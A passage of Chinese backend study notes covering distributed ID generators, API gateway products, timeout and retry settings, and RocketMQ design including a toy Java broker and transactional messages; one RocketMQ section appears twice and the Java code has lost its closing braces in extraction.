通过散列(hashing)名字空间(namespace)标识符和名称生成;版本 4 : UUID 使用随机性open in new window或伪随机性open in new window生成。下面是 Version 1 版本下生成的 UUID 的示例JDK 中通过 UUID 的 randomUUID() 方法生成的 UUID 的版本默认为 4UUID uuid = UUID.randomUUID(); int version = uuid.version(); //4另外,Variant(变体)也有 4 种不同的值,这种值分别对应不同的含义。这里就不介绍了,貌似平时也不怎么需要关注。需要用到的时候,去看看维基百科对于 UUID 的 Variant(变体) 相关的介绍即可。从上面的介绍中可以看出,UUID 可以保证唯一性,因为其生成规则包括 MAC 地址、时间戳、名字空间(Namespace)、随机或伪随机数、时序等元素,计算机基于这些规则生成的 UUID 是肯定不会重复的。虽然,UUID 可以做到全局唯一性,但是,我们一般很少会使用它。比如使用 UUID 作为 MySQL 数据库主键的时候就非常不合适:数据库主键要尽量越短越好,而 UUID 的消耗的存储空间比较大(32 个字符串,128 位)。UUID 是无顺序的,InnoDB 引擎下,数据库主键的无序性会严重影响数据库性能。最后,我们再简单分析一下 UUID 的优缺点 (面试的时候可能会被问到的哦!) :优点 :生成速度比较快、简单易用缺点 : 存储消耗空间大(32 个字符串,128 位) 、 不安全(基于 MAC 地址生成 UUID 的算法会造成 MAC 地址泄露)、无序(非自增)、没有具体业务含义、需要解决重复 ID 问题(当机器时间不对的情况下,可能导致会产生重复 ID)Snowflake(雪花算法)Snowflake 是 Twitter 开源的分布式 ID 生成算法。Snowflake 由 64 bit 的二进制数字组成,这 64bit 的二进制被分成了几部分,每一部分存储的数据都有特定的含义:第 0 位: 符号位(标识正负),始终为 0,没有用,不用管。第 1~41 位 :一共 41 位,用来表示时间戳,单位是毫秒,可以支撑 2 ^41 毫秒(约 69 年)第 42~52 位 :一共 10 位,一般来说,前 5 位表示机房 ID,后 5 位表示机器 ID(实际项目中可以根据实际情况调整)。这样就可以区分不同集群/机房的节点。第 53~64 位 :一共 12 位,用来表示序列号。 序列号为自增值,代表单台机器每毫秒能够产生的最大 ID 数(2^12 = 4096),也就是说单台机器每毫秒最多可以生成 4096 个 唯一 ID如果你想要使用 Snowflake 算法的话,一般不需要你自己再造轮子。有很多基于 Snowflake 算法的开源实现比如美团 的 Leaf、百度的 UidGenerator,并且这些开源实现对原有的 Snowflake 算法进行了优化。另外,在实际项目中,我们一般也会对 Snowflake 算法进行改造,最常见的就是在 Snowflake 算法生成的 ID 中加入业务类型信息。我们再来看看 Snowflake 算法的优缺点 :优点 :生成速度比较快、生成的 ID 有序递增、比较灵活(可以对 Snowflake 算法进行简单的改造比如加入业务 ID)缺点 : 需要解决重复 ID 问题(依赖时间,当机器时间不对的情况下,可能导致会产生重复 ID)开源框架UidGenerator(百度)UidGeneratoropen in new window 是百度开源的一款基于 Snowflake(雪花算法)的唯一 ID 生成器。不过,UidGenerator 对 Snowflake(雪花算法)进行了改进,生成的唯一 ID 组成如下。可以看出,和原始 Snowflake(雪花算法)生成的唯一 ID 的组成不太一样。并且,上面这些参数我们都可以自定义。UidGenerator 官方文档中的介绍如下自 18 年后,UidGenerator 就基本没有再维护了,我这里也不过多介绍。想要进一步了解的朋友,可以看看 UidGenerator 的官方介绍#Leaf(美团)Leafopen in new window 是美团开源的一个分布式 ID 解决方案 。这个项目的名字 Leaf(树叶) 起源于德国哲学家、数学家莱布尼茨的一句话: “There are no two identical leaves in the world”(世界上没有两片相同的树叶) 。这名字起得真心挺不错的,有点文艺青年那味了!Leaf 提供了 号段模式 和 Snowflake(雪花算法) 这两种模式来生成分布式 ID。并且,它支持双号段,还解决了雪花 ID 系统时钟回拨问题。不过,时钟问题的解决需要弱依赖于 Zookeeper 。Leaf 的诞生主要是为了解决美团各个业务线生成分布式 ID 的方法多种多样以及不可靠的问题。Leaf 对原有的号段模式进行改进,比如它这里增加了双号段避免获取 DB 在获取号段的时候阻塞请求获取 ID 的线程。简单来说,就是我一个号段还没用完之前,我自己就主动提前去获取下一个号段(图片来自于美团官方文章:《Leaf——美团点评分布式 ID 生成系统》)根据项目 README 介绍,在 4C8G VM 基础上,通过公司 RPC 方式调用,QPS 压测结果近 5w/s,TP999 1msTinyid(滴滴)Tinyidopen in new window 是滴滴开源的一款基于数据库号段模式的唯一 ID 生成器。数据库号段模式的原理我们在上面已经介绍过了。Tinyid 有哪些亮点呢?为了搞清楚这个问题,我们先来看看基于数据库号段模式的简单架构方案。(图片来自于 Tinyid 的官方 wiki:《Tinyid 原理介绍》)在这种架构模式下,我们通过 HTTP 请求向发号器服务申请唯一 ID。负载均衡 router 会把我们的请求送往其中的一台 tinyid-server这种方案有什么问题呢?在我看来(Tinyid 官方 wiki 也有介绍到),主要由下面这 2 个问题获取新号段的情况下,程序获取唯一 ID 的速度比较慢。需要保证 DB 高可用,这个是比较麻烦且耗费资源的。除此之外,HTTP 调用也存在网络开销。Tinyid 的原理比较简单,其架构如下相比于基于数据库号段模式的简单架构方案,Tinyid 方案主要做了下面这些优化:双号段缓存 :为了避免在获取新号段的情况下,程序获取唯一 ID 的速度比较慢。 Tinyid 中的号段在用到一定程度的时候,就会去异步加载下一个号段,保证内存中始终有可用号段。增加多 db 支持 :支持多个 DB,并且,每个 DB 都能生成唯一 ID,提高了可用性。增加 tinyid-client :纯本地操作,无 HTTP 请求消耗,性能和可用性都有很大提升。Tinyid 的优缺点这里就不分析了,结合数据库号段模式的优缺点和 Tinyid 的原理就能知道。总结通过这篇文章,我基本上已经把最常见的分布式 ID 生成方案都总结了一波除了上面介绍的方式之外,像 ZooKeeper 这类中间件也可以帮助我们生成唯一 ID。没有银弹,一定要结合实际项目来选择最适合自己的方案
何为网关?为什么要网关?微服务背景下,一个系统被拆分为多个服务,但是像安全认证,流量控制,日志,监控等功能是每个服务都需要的,没有网关的话,我们就需要在每个服务中单独实现,这使得我们做了很多重复的事情并且没有一个全局的视图来统一管理这些功能一般情况下,网关可以为我们提供请求转发、安全认证(身份/权限认证)、流量控制、负载均衡、降级熔断、日志、监控等功能。上面介绍了这么多功能,实际上,网关主要做了一件事情:请求过滤 !有哪些常见的网关系统?Netflix ZuulZuul 是 Netflix 开发的一款提供动态路由、监控、弹性、安全的网关服务。Zuul 主要通过过滤器(类似于 AOP)来过滤请求,从而实现网关必备的各种功能我们可以自定义过滤器来处理请求,并且,Zuul 生态本身就有很多现成的过滤器供我们使用。就比如限流可以直接用国外朋友写的 spring-cloud-zuul-ratelimitopen in new window (这里只是举例说明,一般是配合 hystrix 来做限流)<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-netflix-zuul</artifactId> </dependency> <dependency> <groupId>com.marcosbarbero.cloud</groupId> <artifactId>spring-cloud-zuul-ratelimit</artifactId> <version>2.2.0.RELEASE</version> </dependency>Zuul 1.x 基于同步 IO,性能较差。Zuul 2.x 基于 Netty 实现了异步 IO,性能得到了大幅改进。Github 地址 : https://github.com/Netflix/zuul官方 Wiki : https://github.com/Netflix/zuul/wikiSpring Cloud GatewaySpringCloud Gateway 属于 Spring Cloud 生态系统中的网关,其诞生的目标是为了替代老牌网关 **Zuul **。准确点来说,应该是 Zuul 1.x。SpringCloud Gateway 起步要比 Zuul 2.x 更早。为了提升网关的性能,SpringCloud Gateway 基于 Spring WebFlux 。Spring WebFlux 使用 Reactor 库来实现响应式编程模型,底层基于 Netty 实现异步 IO。Spring Cloud Gateway 的目标,不仅提供统一的路由方式,并且基于 Filter 链的方式提供了网关基本的功能,例如:安全,监控/指标,和限流。Spring Cloud Gateway 和 Zuul 2.x 的差别不大,也是通过过滤器来处理请求。不过,目前更加推荐使用 Spring Cloud Gateway 而非 Zuul,Spring Cloud 生态对其支持更加友好Github 地址 : https://github.com/spring-cloud/spring-cloud-gateway官网 : https://spring.io/projects/spring-cloud-gatewayKongKong 是一款基于 OpenRestyopen in new window 的高性能、云原生、可扩展的网关系统。OpenResty 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。Kong 提供了插件机制来扩展其功能。比如、在服务上启用 Zipkin 插件$ curl -X POST http://kong:8001/services/{service}/plugins \ --data "name=zipkin" \ --data "config.http_endpoint=http://your.zipkin.collector:9411/api/v2/spans" \ --data "config.sample_ratio=0.001"Github 地址: https://github.com/Kong/kong官网地址 : https://konghq.com/kongAPISIXAPISIX 是一款基于 Nginx 和 etcd 的高性能、云原生、可扩展的网关系统。etcd是使用 Go 语言开发的一个开源的、高可用的分布式 key-value 存储系统,使用 Raft 协议做分布式共识与传统 API 网关相比,APISIX 具有动态路由和插件热加载,特别适合微服务系统下的 API 管理。并且,APISIX 与 SkyWalking(分布式链路追踪系统)、Zipkin(分布式链路追踪系统)、Prometheus(监控系统) 等 DevOps 生态工具对接都十分方便作为 NGINX 和 Kong 的替代项目,APISIX 目前已经是 Apache 顶级开源项目,并且是最快毕业的国产开源项目。国内目前已经有很多知名企业(比如金山、有赞、爱奇艺、腾讯、贝壳)使用 APISIX 处理核心的业务流量。根据官网介绍:“APISIX 已经生产可用,功能、性能、架构全面优于 Kong”Github 地址 :https://github.com/apache/apisix官网地址: https://apisix.apache.org/zh/相关阅读:有了 NGINX 和 Kong,为什么还需要 Apache APISIXopen in new windowAPISIX 技术博客open in new windowAPISIX 用户案例open in new windowShenyuShenyu 是一款基于 WebFlux 的可扩展、高性能、响应式网关,Apache 顶级开源项目Shenyu 通过插件扩展功能,插件是 ShenYu 的灵魂,并且插件也是可扩展和热插拔的。不同的插件实现不同的功能。Shenyu 自带了诸如限流、熔断、转发 、重写、重定向、和路由监控等插件。Github 地址: https://github.com/apache/incubator-shenyu官网地址 : https://shenyu.apache.org/
由于网络问题、系统或者服务内部的 Bug、服务器宕机、操作系统崩溃等问题的不确定性,我们的系统或者服务永远不可能保证时刻都是可用的状态。为了最大限度的减小系统或者服务出现故障之后带来的影响,我们需要用到的 超时(Timeout) 和 重试(Retry) 机制。想要把超时和重试机制讲清楚其实很简单,因为它俩本身就不是什么高深的概念。虽然超时和重试机制的思想很简单,但是它俩是真的非常实用。你平时接触到的绝大部分涉及到远程调用的系统或者服务都会应用超时和重试机制。尤其是对于微服务系统来说,正确设置超时和重试非常重要。单体服务通常只涉及数据库、缓存、第三方 API、中间件等的网络调用,而微服务系统内部各个服务之间还存在着网络调用。超时机制什么是超时机制?超时机制说的是当一个请求超过指定的时间(比如 1s)还没有被处理的话,这个请求就会直接被取消并抛出指定的异常或者错误(比如 504 Gateway Timeout)。我们平时接触到的超时可以简单分为下面 2 种:连接超时(ConnectTimeout) :客户端与服务端建立连接的最长等待时间。读取超时(ReadTimeout) :客户端和服务端已经建立连接,客户端等待服务端处理完请求的最长时间。实际项目中,我们关注比较多的还是读取超时。一些连接池客户端框架中可能还会有获取连接超时和空闲连接清理超时。如果没有设置超时的话,就可能会导致服务端连接数爆炸和大量请求堆积的问题。这些堆积的连接和请求会消耗系统资源,影响新收到的请求的处理。严重的情况下,甚至会拖垮整个系统或者服务。我之前在实际项目就遇到过类似的问题,整个网站无法正常处理请求,服务器负载直接快被拉满。后面发现原因是项目超时设置错误加上客户端请求处理异常,导致服务端连接数直接接近 40w+,这么多堆积的连接直接把系统干趴了。超时时间应该如何设置?超时到底设置多长时间是一个难题!超时值设置太高或者太低都有风险。如果设置太高的话,会降低超时机制的有效性,比如你设置超时为 10s 的话,那设置超时就没啥意义了,系统依然可能会出现大量慢请求堆积的问题。如果设置太低的话,就可能会导致在系统或者服务在某些处理请求速度变慢的情况下(比如请求突然增多),大量请求重试(超时通常会结合重试)继续加重系统或者服务的压力,进而导致整个系统或者服务被拖垮的问题。通常情况下,我们建议读取超时设置为 1500ms ,这是一个比较普适的值。如果你的系统或者服务对于延迟比较敏感的话,那读取超时值可以适当在 1500ms 的基础上进行缩短。反之,读取超时值也可以在 1500ms 的基础上进行加长,不过,尽量还是不要超过 1500ms 。连接超时可以适当设置长一些,建议在 1000ms ~ 5000ms 之内。没有银弹!超时值具体该设置多大,还是要根据实际项目的需求和情况慢慢调整优化得到。更上一层,参考美团的Java线程池参数动态配置open in new window思想,我们也可以将超时弄成可配置化的参数而不是固定的,比较简单的一种办法就是将超时的值放在配置中心中。这样的话,我们就可以根据系统或者服务的状态动态调整超时值了。重试机制什么是重试机制?重试机制一般配合超时机制一起使用,指的是多次发送相同的请求来避免瞬态故障和偶然性故障。瞬态故障可以简单理解为某一瞬间系统偶然出现的故障,并不会持久。偶然性故障可以理解为哪些在某些情况下偶尔出现的故障,频率通常较低。重试的核心思想是通过消耗服务器的资源来尽可能获得请求更大概率被成功处理。由于瞬态故障和偶然性故障是很少发生的,因此,重试对于服务器的资源消耗几乎是可以被忽略的。重试的次数如何设置?重试的次数不宜过多,否则依然会对系统负载造成比较大的压力。重试的次数通常建议设为 3 次。并且,我们通常还会设置重试的间隔,比如说我们要重试 3 次的话,第 1 次请求失败后,等待 1 秒再进行重试,第 2 次请求失败后,等待 2 秒再进行重试,第 3 次请求失败后,等待 3 秒再进行重试。重试幂等超时和重试机制在实际项目中使用的话,需要注意保证同一个请求没有被多次执行。什么情况下会出现一个请求被多次执行呢?客户端等待服务端完成请求完成超时但此时服务端已经执行了请求,只是由于短暂的网络波动导致响应在发送给客户端的过程中延迟了。举个例子:用户支付购买某个课程,结果用户支付的请求由于重试的问题导致用户购买同一门课程支付了两次。对于这种情况,我们在执行用户购买课程的请求的时候需要判断一下用户是否已经购买过。这样的话,就不会因为重试的问题导致重复购买了。参考微服务之间调用超时的设置治理:https://www.infoq.cn/article/eyrslar53l6hjm5yjgyx超时、重试和抖动回退:https://aws.amazon.com/cn/builders-library/timeouts-retries-and-backoff-with-jitter/
单机版消息中心一个消息中心,最基本的需要支持多生产者、多消费者,例如下:class Scratch { public static void main(String[] args) { // 实际中会有 nameserver 服务来找到 broker 具体位置以及 broker 主从信息 Broker broker = new Broker(); Producer producer1 = new Producer(); producer1.connectBroker(broker); Producer producer2 = new Producer(); producer2.connectBroker(broker); Consumer consumer1 = new Consumer(); consumer1.connectBroker(broker); Consumer consumer2 = new Consumer(); consumer2.connectBroker(broker); for (int i = 0; i < 2; i++) { producer1.asyncSendMsg("producer1 send msg" + i); producer2.asyncSendMsg("producer2 send msg" + i); System.out.println("broker has msg:" + broker.getAllMagByDisk()); for (int i = 0; i < 1; i++) { System.out.println("consumer1 consume msg:" + consumer1.syncPullMsg()); for (int i = 0; i < 3; i++) { System.out.println("consumer2 consume msg:" + consumer2.syncPullMsg()); class Producer { private Broker broker; public void connectBroker(Broker broker) { this.broker = broker; public void asyncSendMsg(String msg) { if (broker == null) { throw new RuntimeException("please connect broker first"); new Thread(() -> { broker.sendMsg(msg); }).start(); class Consumer { private Broker broker; public void connectBroker(Broker broker) { this.broker = broker; public String syncPullMsg() { return broker.getMsg(); class Broker { // 对应 RocketMQ 中 MessageQueue,默认情况下 1 个 Topic 包含 4 个 MessageQueue private LinkedBlockingQueue<String> messageQueue = new LinkedBlockingQueue(Integer.MAX_VALUE); // 实际发送消息到 broker 服务器使用 Netty 发送 public void sendMsg(String msg) { try { messageQueue.put(msg); // 实际会同步或异步落盘,异步落盘使用的定时任务定时扫描落盘 } catch (InterruptedException e) { public String getMsg() { try { return messageQueue.take(); } catch (InterruptedException e) { return null; public String getAllMagByDisk() { StringBuilder sb = new StringBuilder("\n"); messageQueue.iterator().forEachRemaining((msg) -> { sb.append(msg + "\n"); return sb.toString(); }12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394问题:没有实现真正执行消息存储落盘没有实现 NameServer 去作为注册中心,定位服务使用 LinkedBlockingQueue 作为消息队列,注意,参数是无限大,在真正 RocketMQ 也是如此是无限大,理论上不会出现对进来的数据进行抛弃,但是会有内存泄漏问题(阿里巴巴开发手册也因为这个问题,建议我们使用自制线程池)没有使用多个队列(即多个 LinkedBlockingQueue),RocketMQ 的顺序消息是通过生产者和消费者同时使用同一个 MessageQueue 来实现,但是如果我们只有一个 MessageQueue,那我们天然就支持顺序消息没有使用 MappedByteBuffer 来实现文件映射从而使消息数据落盘非常的快(实际 RocketMQ 使用的是 FileChannel+DirectBuffer)#2 分布式消息中心2.1 问题与解决2.1.1 消息丢失的问题当你系统需要保证百分百消息不丢失,你可以使用生产者每发送一个消息,Broker 同步返回一个消息发送成功的反馈消息即每发送一个消息,同步落盘后才返回生产者消息发送成功,这样只要生产者得到了消息发送生成的返回,事后除了硬盘损坏,都可以保证不会消息丢失但是这同时引入了一个问题,同步落盘怎么才能快?2.1.2 同步落盘怎么才能快使用 FileChannel + DirectBuffer 池,使用堆外内存,加快内存拷贝使用数据和索引分离,当消息需要写入时,使用 commitlog 文件顺序写,当需要定位某个消息时,查询index 文件来定位,从而减少文件IO随机读写的性能损耗2.1.3 消息堆积的问题后台定时任务每隔72小时,删除旧的没有使用过的消息信息根据不同的业务实现不同的丢弃任务,具体参考线程池的 AbortPolicy,例如FIFO/LRU等(RocketMQ没有此策略)消息定时转移,或者对某些重要的 TAG 型(支付型)消息真正落库2.1.4 定时消息的实现实际 RocketMQ 没有实现任意精度的定时消息,它只支持某些特定的时间精度的定时消息实现定时消息的原理是:创建特定时间精度的 MessageQueue,例如生产者需要定时1s之后被消费者消费,你只需要将此消息发送到特定的 Topic,例如:MessageQueue-1 表示这个 MessageQueue 里面的消息都会延迟一秒被消费,然后 Broker 会在 1s 后发送到消费者消费此消息,使用 newSingleThreadScheduledExecutor 实现2.1.5 顺序消息的实现与定时消息同原理,生产者生产消息时指定特定的 MessageQueue ,消费者消费消息时,消费特定的 MessageQueue,其实单机版的消息中心在一个 MessageQueue 就天然支持了顺序消息注意:同一个 MessageQueue 保证里面的消息是顺序消费的前提是:消费者是串行的消费该 MessageQueue,因为就算 MessageQueue 是顺序的,但是当并行消费时,还是会有顺序问题,但是串行消费也同时引入了两个问题:引入锁来实现串行前一个消费阻塞时后面都会被阻塞2.1.6 分布式消息的实现需要前置知识:2PCRocketMQ4.3 起支持,原理为2PC,即两阶段提交,prepared->commit/rollback生产者发送事务消息,假设该事务消息 Topic 为 Topic1-Trans,Broker 得到后首先更改该消息的 Topic 为 Topic1-Prepared,该 Topic1-Prepared 对消费者不可见。然后定时回调生产者的本地事务A执行状态,根据本地事务A执行状态,来是否将该消息修改为 Topic1-Commit 或 Topic1-Rollback,消费者就可以正常找到该事务消息或者不执行等注意,就算是事务消息最后回滚了也不会物理删除,只会逻辑删除该消息2.1.7 消息的 push 实现注意,RocketMQ 已经说了自己会有低延迟问题,其中就包括这个消息的 push 延迟问题因为这并不是真正的将消息主动的推送到消费者,而是 Broker 定时任务每5s将消息推送到消费者pull模式需要我们手动调用consumer拉消息,而push模式则只需要我们提供一个listener即可实现对消息的监听,而实际上,RocketMQ的push模式是基于pull模式实现的,它没有实现真正的push。push方式里,consumer把轮询过程封装了,并注册MessageListener监听器,取到消息后,唤醒MessageListener的consumeMessage()来消费,对用户而言,感觉消息是被推送过来的。2.1.8 消息重复发送的避免RocketMQ 会出现消息重复发送的问题,因为在网络延迟的情况下,这种问题不可避免的发生,如果非要实现消息不可重复发送,那基本太难,因为网络环境无法预知,还会使程序复杂度加大,因此默认允许消息重复发送RocketMQ 让使用者在消费者端去解决该问题,即需要消费者端在消费消息时支持幂等性的去消费消息最简单的解决方案是每条消费记录有个消费状态字段,根据这个消费状态字段来判断是否消费或者使用一个集中式的表,来存储所有消息的消费状态,从而避免重复消费具体实现可以查询关于消息幂等消费的解决方案2.1.9 广播消费与集群消费消息消费区别:广播消费,订阅该 Topic 的消息者们都会消费每个消息。集群消费,订阅该 Topic 的消息者们只会有一个去消费某个消息消息落盘区别:具体表现在消息消费进度的保存上。广播消费,由于每个消费者都独立的去消费每个消息,因此每个消费者各自保存自己的消息消费进度。而集群消费下,订阅了某个 Topic,而旗下又有多个 MessageQueue,每个消费者都可能会去消费不同的 MessageQueue,因此总体的消费进度保存在 Broker 上集中的管理2.1.10 RocketMQ 不使用 ZooKeeper 作为注册中心的原因,以及自制的 NameServer 优缺点?ZooKeeper 作为支持顺序一致性的中间件,在某些情况下,它为了满足一致性,会丢失一定时间内的可用性,RocketMQ 需要注册中心只是为了发现组件地址,在某些情况下,RocketMQ 的注册中心可以出现数据不一致性,这同时也是 NameServer 的缺点,因为 NameServer 集群间互不通信,它们之间的注册信息可能会不一致另外,当有新的服务器加入时,NameServer 并不会立马通知到 Producer,而是由 Producer 定时去请求 NameServer 获取最新的 Broker/Consumer 信息(这种情况是通过 Producer 发送消息时,负载均衡解决)2.1.11 其它加分项咯包括组件通信间使用 Netty 的自定义协议消息重试负载均衡策略(具体参考 Dubbo 负载均衡策略)消息过滤器(Producer 发送消息到 Broker,Broker 存储消息信息,Consumer 消费时请求 Broker 端从磁盘文件查询消息文件时,在 Broker 端就使用过滤服务器进行过滤)Broker 同步双写和异步双写中 Master 和 Slave 的交互Broker 在 4.5.0 版本更新中引入了基于 Raft 协议的多副本选举,之前这是商业版才有的特性 ISSUE-1046
1 单机版消息中心一个消息中心,最基本的需要支持多生产者、多消费者,如下class Scratch { public static void main(String[] args) { // 实际中会有 nameserver 服务来找到 broker 具体位置以及 broker 主从信息 Broker broker = new Broker(); Producer producer1 = new Producer(); producer1.connectBroker(broker); Producer producer2 = new Producer(); producer2.connectBroker(broker); Consumer consumer1 = new Consumer(); consumer1.connectBroker(broker); Consumer consumer2 = new Consumer(); consumer2.connectBroker(broker); for (int i = 0; i < 2; i++) { producer1.asyncSendMsg("producer1 send msg" + i); producer2.asyncSendMsg("producer2 send msg" + i); System.out.println("broker has msg:" + broker.getAllMagByDisk()); for (int i = 0; i < 1; i++) { System.out.println("consumer1 consume msg:" + consumer1.syncPullMsg()); for (int i = 0; i < 3; i++) { System.out.println("consumer2 consume msg:" + consumer2.syncPullMsg()); class Producer { private Broker broker; public void connectBroker(Broker broker) { this.broker = broker; public void asyncSendMsg(String msg) { if (broker == null) { throw new RuntimeException("please connect broker first"); new Thread(() -> { broker.sendMsg(msg); }).start(); class Consumer { private Broker broker; public void connectBroker(Broker broker) { this.broker = broker; public String syncPullMsg() { return broker.getMsg(); class Broker { // 对应 RocketMQ 中 MessageQueue,默认情况下 1 个 Topic 包含 4 个 MessageQueue private LinkedBlockingQueue<String> messageQueue = new LinkedBlockingQueue(Integer.MAX_VALUE); // 实际发送消息到 broker 服务器使用 Netty 发送 public void sendMsg(String msg) { try { messageQueue.put(msg); // 实际会同步或异步落盘,异步落盘使用的定时任务定时扫描落盘 } catch (InterruptedException e) { public String getMsg() { try { return messageQueue.take(); } catch (InterruptedException e) { return null; public String getAllMagByDisk() { StringBuilder sb = new StringBuilder("\n"); messageQueue.iterator().forEachRemaining((msg) -> { sb.append(msg + "\n"); return sb.toString(); }问题:没有实现真正执行消息存储落盘没有实现 NameServer 去作为注册中心,定位服务使用 LinkedBlockingQueue 作为消息队列,注意,参数是无限大,在真正 RocketMQ 也是如此是无限大,理论上不会出现对进来的数据进行抛弃,但是会有内存泄漏问题(阿里巴巴开发手册也因为这个问题,建议我们使用自制线程池)没有使用多个队列(即多个 LinkedBlockingQueue),RocketMQ 的顺序消息是通过生产者和消费者同时使用同一个 MessageQueue 来实现,但是如果我们只有一个 MessageQueue,那我们天然就支持顺序消息没有使用 MappedByteBuffer 来实现文件映射从而使消息数据落盘非常的快(实际 RocketMQ 使用的是 FileChannel+DirectBuffer)2 分布式消息中心2.1 问题与解决#2.1.1 消息丢失的问题当你系统需要保证百分百消息不丢失,你可以使用生产者每发送一个消息,Broker 同步返回一个消息发送成功的反馈消息即每发送一个消息,同步落盘后才返回生产者消息发送成功,这样只要生产者得到了消息发送生成的返回,事后除了硬盘损坏,都可以保证不会消息丢失但是这同时引入了一个问题,同步落盘怎么才能快?2.1.2 同步落盘怎么才能快使用 FileChannel + DirectBuffer 池,使用堆外内存,加快内存拷贝使用数据和索引分离,当消息需要写入时,使用 commitlog 文件顺序写,当需要定位某个消息时,查询index 文件来定位,从而减少文件IO随机读写的性能损耗2.1.3 消息堆积的问题后台定时任务每隔72小时,删除旧的没有使用过的消息信息根据不同的业务实现不同的丢弃任务,具体参考线程池的 AbortPolicy,例如FIFO/LRU等(RocketMQ没有此策略)消息定时转移,或者对某些重要的 TAG 型(支付型)消息真正落库2.1.4 定时消息的实现实际 RocketMQ 没有实现任意精度的定时消息,它只支持某些特定的时间精度的定时消息实现定时消息的原理是:创建特定时间精度的 MessageQueue,例如生产者需要定时1s之后被消费者消费,你只需要将此消息发送到特定的 Topic,例如:MessageQueue-1 表示这个 MessageQueue 里面的消息都会延迟一秒被消费,然后 Broker 会在 1s 后发送到消费者消费此消息,使用 newSingleThreadScheduledExecutor 实现2.1.5 顺序消息的实现与定时消息同原理,生产者生产消息时指定特定的 MessageQueue ,消费者消费消息时,消费特定的 MessageQueue,其实单机版的消息中心在一个 MessageQueue 就天然支持了顺序消息注意:同一个 MessageQueue 保证里面的消息是顺序消费的前提是:消费者是串行的消费该 MessageQueue,因为就算 MessageQueue 是顺序的,但是当并行消费时,还是会有顺序问题,但是串行消费也同时引入了两个问题:引入锁来实现串行前一个消费阻塞时后面都会被阻塞2.1.6 分布式消息的实现需要前置知识:2PCRocketMQ4.3 起支持,原理为2PC,即两阶段提交,prepared->commit/rollback生产者发送事务消息,假设该事务消息 Topic 为 Topic1-Trans,Broker 得到后首先更改该消息的 Topic 为 Topic1-Prepared,该 Topic1-Prepared 对消费者不可见。然后定时回调生产者的本地事务A执行状态,根据本地事务A执行状态,来是否将该消息修改为 Topic1-Commit 或 Topic1-Rollback,消费者就可以正常找到该事务消息或者不执行等注意,就算是事务消息最后回滚了也不会物理删除,只会逻辑删除该消息2.1.7 消息的 push 实现注意,RocketMQ 已经说了自己会有低延迟问题,其中就包括这个消息的 push 延迟问题因为这并不是真正的将消息主动的推送到消费者,而是 Broker 定时任务每5s将消息推送到消费者pull模式需要我们手动调用consumer拉消息,而push模式则只需要我们提供一个listener即可实现对消息的监听,而实际上,RocketMQ的push模式是基于pull模式实现的,它没有实现真正的push。push方式里,consumer把轮询过程封装了,并注册MessageListener监听器,取到消息后,唤醒MessageListener的consumeMessage()来消费,对用户而言,感觉消息是被推送过来的。2.1.8 消息重复发送的避免RocketMQ 会出现消息重复发送的问题,因为在网络延迟的情况下,这种问题不可避免的发生,如果非要实现消息不可重复发送,那基本太难,因为网络环境无法预知,还会使程序复杂度加大,因此默认允许消息重复发送RocketMQ 让使用者在消费者端去解决该问题,即需要消费者端在消费消息时支持幂等性的去消费消息最简单的解决方案是每条消费记录有个消费状态字段,根据这个消费状态字段来判断是否消费或者使用一个集中式的表,来存储所有消息的消费状态,从而避免重复消费具体实现可以查询关于消息幂等消费的解决方案2.1.9 广播消费与集群消费消息消费区别:广播消费,订阅该 Topic 的消息者们都会消费每个消息。集群消费,订阅该 Topic 的消息者们只会有一个去消费某个消息消息落盘区别:具体表现在消息消费进度的保存上。广播消费,由于每个消费者都独立的去消费每个消息,因此每个消费者各自保存自己的消息消费进度。而集群消费下,订阅了某个 Topic,而旗下又有多个 MessageQueue,每个消费者都可能会去消费不同的 MessageQueue,因此总体的消费进度保存在 Broker 上集中的管理2.1.10 RocketMQ 不使用 ZooKeeper 作为注册中心的原因,以及自制的 NameServer 优缺点?ZooKeeper 作为支持顺序一致性的中间件,在某些情况下,它为了满足一致性,会丢失一定时间内的可用性,RocketMQ 需要注册中心只是为了发现组件地址,在某些情况下,RocketMQ 的注册中心可以出现数据不一致性,这同时也是 NameServer 的缺点,因为 NameServer 集群间互不通信,它们之间的注册信息可能会不一致另外,当有新的服务器加入时,NameServer 并不会立马通知到 Producer,而是由 Producer 定时去请求 NameServer 获取最新的 Broker/Consumer 信息(这种情况是通过 Producer 发送消息时,负载均衡解决)2.1.11 其它加分项咯包括组件通信间使用 Netty 的自定义协议消息重试负载均衡策略(具体参考 Dubbo 负载均衡策略)消息过滤器(Producer 发送消息到 Broker,Broker 存储消息信息,Consumer 消费时请求 Broker 端从磁盘文件查询消息文件时,在 Broker 端就使用过滤服务器进行过滤)Broker 同步双写和异步双写中 Master 和 Slave 的交互Broker 在 4.5.0 版本更新中引入了基于 Raft 协议的多副本选举,之前这是商业版才有的特性 ISSUE-1046
分布式事务如何解释分布式事务呢?事务大家都知道吧?要么都执行要么都不执行 。在同一个系统中我们可以轻松地实现事务,但是在分布式架构中,我们有很多服务是部署在不同系统之间的,而不同服务之间又需要进行调用。比如此时我下订单然后增加积分,如果保证不了分布式事务的话,就会出现A系统下了订单,但是B系统增加积分失败或者A系统没有下订单,B系统却增加了积分。前者对用户不友好,后者对运营商不利,这是我们都不愿意见到的。那么,如何去解决这个问题呢?如今比较常见的分布式事务实现有 2PC、TCC 和事务消息(half 半消息机制)。每一种实现都有其特定的使用场景,但是也有各自的问题,都不是完美的解决方案。在 RocketMQ 中使用的是 事务消息加上事务反查机制 来解决分布式事务问题的。我画了张图,大家可以对照着图进行理解在第一步发送的 half 消息 ,它的意思是 在事务提交之前,对于消费者来说,这个消息是不可见的 。那么,如何做到写入消息但是对用户不可见呢?RocketMQ事务消息的做法是:如果消息是half消息,将备份原消息的主题与消息消费队列,然后 改变主题 为RMQ_SYS_TRANS_HALF_TOPIC。由于消费组未订阅该主题,故消费端无法消费half类型的消息,然后RocketMQ会开启一个定时任务,从Topic为RMQ_SYS_TRANS_HALF_TOPIC中拉取消息进行消费,根据生产者组获取一个服务提供者发送回查事务状态请求,根据事务状态来决定是提交或回滚消息。你可以试想一下,如果没有从第5步开始的 事务反查机制 ,如果出现网路波动第4步没有发送成功,这样就会产生 MQ 不知道是不是需要给消费者消费的问题,他就像一个无头苍蝇一样。在 RocketMQ 